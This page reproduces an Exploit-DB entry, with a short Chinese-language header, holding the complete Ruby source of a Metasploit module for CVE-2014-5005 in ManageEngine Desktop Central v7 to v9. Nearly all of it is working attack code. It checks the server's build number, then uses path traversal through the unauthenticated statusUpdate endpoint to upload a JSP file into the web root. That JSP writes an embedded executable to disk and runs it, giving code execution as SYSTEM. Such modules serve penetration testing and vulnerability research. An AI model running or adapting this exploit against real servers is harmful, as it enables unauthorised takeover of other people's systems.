ManageEngine Desktop Central StatusUpdate – Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2014-09-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34594/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload',
    'Description'=> %q{
    This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral
    v7 to v9 build 90054 (including the MSP versions).
    A malicious user can upload a JSP file into the web root without authentication, leading to
    arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as
    they do not ship with a bundled Java compiler.
    },
    'Author' =>
    [
    'Pedro Ribeiro <pedrib[at]gmail.com>'# Vulnerability discovery and Metasploit module
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2014-5005'],
    ['OSVDB', '110643'],
    ['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'],
    ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt']
    ],
    'Platform' => 'win',
    'Arch' => ARCH_X86,
    'Targets'=>
    [
    [ 'Desktop Central v7 to v9 build 90054 / Windows', {} ]
    ],
    'Privileged' => true,
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Aug 31 2014'
    ))
    
    register_options([Opt::RPORT(8020)], self.class)
    end
    
    
    # Test for Desktop Central
    def check
    res = send_request_cgi({
     'uri' => normalize_uri("configurations.do"),
     'method' => 'GET'
     })
    
    if res && res.code == 200
    build = nil
    
    if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
    res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
    
    print_status("#{peer} - Detected Desktop Central v7")
    elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
    res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
    
    if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/# DC v8 (later versions)
    build = $1
    print_status("#{peer} - Detected Desktop Central v8 #{build}")
    else # DC v8 (earlier versions)
    print_status("#{peer} - Detected Desktop Central v8")
    end
    elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
    build = $1
    end
    
    if build.nil?
    return Exploit::CheckCode::Unknown
    elsif Gem::Version.new(build) < Gem::Version.new("90055")
    return Exploit::CheckCode::Appears
    else
    return Exploit::CheckCode::Safe
    end
    end
    
    Exploit::CheckCode::Unknown
    end
    
    def exploit
    print_status("#{peer} - Uploading JSP to execute the payload")
    
    exe = payload.encoded_exe
    exe_filename = rand_text_alpha_lower(8) + ".exe"
    
    jsp_payload = jsp_drop_and_execute(exe, exe_filename)
    jsp_name = rand_text_alpha_lower(8) + ".jsp"
    
    send_request_cgi({
    'uri' => normalize_uri('statusUpdate'),
    'method'=> 'POST',
    'data'=> jsp_payload,
    'ctype' => 'text/html',
    'vars_get'=> {
    'actionToCall'=> 'LFU',
    'configDataID'=> '1',
    'customerId'=> rand_text_numeric(4),
    'fileName'=> '../' * 6 << jsp_name
    }
    })
    # We could check for HTTP 200 and a "success" string.
    # However only some later v8 and v9 versions return this; and we don't really care
    # and do a GET to the file we just uploaded anyway.
    
    register_files_for_cleanup(exe_filename)
    register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}")
    
    print_status("#{peer} - Executing payload")
    send_request_cgi(
    {
    'uri'=> normalize_uri(jsp_name),
    'method' => 'GET'
    })
    end
    
    
    def jsp_drop_bin(bin_data, output_file)
    jspraw =%Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
    
    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
    
    jspraw << %Q|int numbytes = data.length();\n|
    
    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|comb <<= 4;\n|
    jspraw << %Q|comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|
    
    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|
    
    jspraw
    end
    
    
    def jsp_execute_command(command)
    jspraw =%Q|\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|
    
    jspraw
    end
    
    
    def jsp_drop_and_execute(bin_data, output_file)
    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
    end
    end